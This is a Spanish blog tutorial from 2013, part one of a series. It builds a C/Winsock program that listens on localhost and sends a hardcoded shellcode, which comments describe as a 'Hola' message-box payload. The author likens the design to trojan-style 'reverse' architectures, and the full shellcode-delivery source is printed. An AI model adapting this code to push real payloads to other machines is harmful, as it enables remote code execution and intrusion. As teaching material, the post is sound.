7 oct 2013

Remote Shellcode Injection (Parte I)

Buenas a todos, en el post de hoy arrancaremos una cadena artículos en la que veremos desde 0 como desarrollar un programa en ANSI C, que nos permita ejecutar remotamente una shellcode cualquiera a través de una arquitectura cliente-servidor.

¿Qué necesitaremos?

Necesitaremos simplemente un compilador de C, nosotros utilizaremos Codeblocks, alguna utilidad para generar shellcodes (sino las queréis hacer de cabeza... :P), nosotros usaremos Meterpreter y unos conocimientos previos de ANSI C.

Arquitectura

A continuación os mostramos un diagrama que resume la arquitectura que montaremos, como veis se tratará de una arquitectura de tipo "reversa", similar a la utilizada típicamente por los troyanos:

Programación

En primer lugar incluiremos las librerías necesarias. A parte de las típicas que utilizaréis en un proyecto en C, necesitaremos cargar winsocks.h para poder trabajar con sockets:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winsock.h>
Tras ello declararemos unas variables predefinidas con el tamaño del buffer y el puerto utilizado para la conexión, así como las variables de tipo cadena que utilizaremos para almacenar la shellcode y como buffers para el envío y recibimiento de datos:
#define PORT 4950
#define MAXBUFLEN 512
char sc[MAXBUFLEN];
char SendBuff[MAXBUFLEN],RecvBuff[MAXBUFLEN];
Después arrancaremos el main y añadiremos la shellcode, nosotros la hemos añadido a piñón para esta PoC, pero si hacéis un programa más avanzado lo lógico será que la recojáis como un dato de entrada:
sprintf(sc,"%s","\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8\x61\xff\xff\xff\x68\x58\x20\x20\x20\x68\x48\x6f\x6c\x61\x31\xdb\x88\x5c\x24\x04\x89\xe3\x68\x58\x20\x20\x20\x68\x48\x6f\x6c\x61\x31\xc9\x88\x4c\x24\x04\x89\xe1\x31\xd2\x6a\x40\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08");
Tras la shellcode crearemos las estructuras para trabajar con los sockets:
WSADATA wsaData;
SOCKET conn_socket,comm_socket;
SOCKET comunicacion;
struct sockaddr_in server;
struct sockaddr_in client;
struct hostent *hp;
Para más información sobre WSADATA os recomiendo este enlace de Microsoft: http://msdn.microsoft.com/es-es/library/37k8e5x7.aspxDespués inicializaremos la DLL de sockets:
resp=WSAStartup(MAKEWORD(1,0),&wsaData);
if(resp){return resp;}
El paso siguiente será obtener la dirección IP. Nosotros a modo de prueba lo hemos situado en "localhost":
hp=(struct hostent *)gethostbyname("localhost");
 if(!hp){WSACleanup();return WSAGetLastError();}
Ahora procederemos a crear el socket:
conn_socket=socket(AF_INET,SOCK_STREAM, 0);
  if(conn_socket==INVALID_SOCKET) {WSACleanup();return WSAGetLastError();}
  memset(&server, 0, sizeof(server)) ;
  memcpy(&server.sin_addr, hp->h_addr, hp->h_length);
  server.sin_family = hp->h_addrtype;
  server.sin_port = htons(PORT);
Una vez creado asociaremos la IP y el PUERTO al socket:
(conn_socket, (struct sockaddr *)&server, sizeof(server));
  if(resp==SOCKET_ERROR){closesocket(conn_socket);WSACleanup();return WSAGetLastError();}
  if(listen(co
Ya estamos en disposición de aceptar conexiones entrantes (recordad que se trataba de una arquitectura de tipo reversa):
stsize=sizeof(struct sockaddr);
  comm_socket=accept(conn_socket,(struct sockaddr *)&client,&stsize);
  if(comm_socket==INVALID_SOCKET){closesocket(conn_socket);WSACleanup();return WSAGetLastError();}
Ahora cerraremos el socket de entrada, ya que no recibiremos más conexiones entrantes, y enviaremos la shellcode al servidor:
closesocket(conn_socket);
  int iresult = send (comm_socket, sc, (int)strlen(sc), 0);
Ya simplemente nos falta cerrar el socket de la comunicación y finalizamos:
closesocket(comm_socket); WSACleanup();

Código completo del cliente

A continuación os dejamos el código completo del cliente:
#include <stdio.h>
  #include <stdlib.h>
  #include <windows.h>
  #include <winsock.h>
  #define PORT 4950
  #define MAXBUFLEN 512
  char sc[MAXBUFLEN];
  char SendBuff[MAXBUFLEN],RecvBuff[MAXBUFLEN];
  int main(int argc, char *argv[]){
  // Para este ejemplo se utilizará la siguiente shellcode que mostrará el texto "Hola" en un mensaje de alerta
  sprintf(sc,"%s","\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8\x61\xff\xff\xff\x68\x58\x20\x20\x20\x68\x48\x6f\x6c\x61\x31\xdb\x88\x5c\x24\x04\x89\xe3\x68\x58\x20\x20\x20\x68\x48\x6f\x6c\x61\x31\xc9\x88\x4c\x24\x04\x89\xe1\x31\xd2\x6a\x40\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08");
  WSADATA wsaData;
  SOCKET conn_socket,comm_socket;
  SOCKET comunicacion;
  struct sockaddr_in server;
  struct sockaddr_in client;
  struct hostent *hp;
  int resp,stsize;
  // Inicialización de la la DLL de sockets
  resp=WSAStartup(MAKEWORD(1,0),&wsaData);
  if(resp){return resp;}
  // Obtención de la dirección IP de la máquina
  hp=(struct hostent *)gethostbyname("localhost");
  if(!hp){WSACleanup();return WSAGetLastError();}
  // Creación del socket
  conn_socket=socket(AF_INET,SOCK_STREAM, 0);
  if(conn_socket==INVALID_SOCKET) {WSACleanup();return WSAGetLastError();}
  memset(&server, 0, sizeof(server)) ;
  memcpy(&server.sin_addr, hp->h_addr, hp->h_length);
  server.sin_family = hp->h_addrtype;
  server.sin_port = htons(PORT);
  // Asociación de IP y PUERTO al socket
  resp=bind(conn_socket, (struct sockaddr *)&server, sizeof(server));
  if(resp==SOCKET_ERROR){closesocket(conn_socket);WSACleanup();return WSAGetLastError();}
  if(listen(conn_socket, 1)==SOCKET_ERROR){closesocket(conn_socket);WSACleanup();return WSAGetLastError();}
  // Aceptación de conexiones entrantes
  stsize=sizeof(struct sockaddr);
  comm_socket=accept(conn_socket,(struct sockaddr *)&client,&stsize);
  if(comm_socket==INVALID_SOCKET){closesocket(conn_socket);WSACleanup();return WSAGetLastError();}
  // Cierre del socket de escucha, ya que no se aceptarán más conexiones
  closesocket(conn_socket);
  // Envío de la shellcode
  int iresult = send (comm_socket, sc, (int)strlen(sc), 0);
  // Cierre del socket de la comunicacion
  closesocket(comm_socket);
  // Cierre de winsock
  WSACleanup();
  return (EXIT_SUCCESS);
  }
Espero que os haya gustado. En el próximo post os contaremos como desarrollar la parte servidora :)Saludos!

3 comentarios:

  1. Un gran post!! Se agradece mucho cuando te enseñan a hacer las cosas por ti mismo y no tener que depender de herramientas.Estaremos esperando la parte del servidor impacientes! Enhorabuena!

    ResponderEliminar
  2. [...] lunes arrancamos la cadena Remote Shellcode Injection (Parte I), en la que hablamos sobre como inyectar shellcodes remotamente a través de una arquitectura [...]

    ResponderEliminar